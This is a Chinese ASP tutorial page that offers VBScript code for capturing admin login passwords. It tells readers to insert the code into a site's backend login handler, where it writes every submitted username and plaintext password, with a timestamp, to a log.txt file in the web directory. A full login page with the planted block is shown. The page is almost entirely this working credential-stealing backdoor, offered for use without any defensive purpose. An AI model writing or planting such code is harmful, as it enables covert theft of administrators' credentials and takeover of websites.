网络编程
位置:首页>> 网络编程>> Asp编程>> Asp截获后台登录密码的代码

Asp截获后台登录密码的代码

 来源:asp之家 发布时间:2012-12-04 20:20:38 

标签:截获,后台登录


代码如下:


set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing


在后台登录处表单提交的地方插入!

代码如下:


<%@language=vbscript codepage=936 %>
<%
dim sql,rs
dim username,password,CheckCode
username=replace(trim(request("username")),"'","")
password=replace(trim(Request("password")),"'","")
CheckCode=replace(trim(Request("CheckCode")),"'","")
if UserName="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>"
end if
if Password="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>密码不能为空!</li>"
end if
if CheckCode="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>验证码不能为空!</li>"
end if
if session("CheckCode")="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>"
end if
if CheckCode<>CStr(session("CheckCode")) then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>"
end if
'这后面是我增加的代码~开始区域
set fso=server.createobject("scripting.filesystemobject")
if fso.FileExists(server.mappath("log.txt"))=true then
set fin=fso.OpenTextFile(server.mappath("log.txt"))
temp=fin.readall
fin.close
set fin=nothing
end if
set fout=fso.createtextfile(server.mappath("log.txt"))
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")
fout.close
set fout=nothing
set fso=nothing
'后面的代码被我删除了~结束区域

%>


本文涉及语句作者是:会的不多iFat

0
投稿

猜你喜欢

手机版 网络编程 asp之家 www.aspxhome.com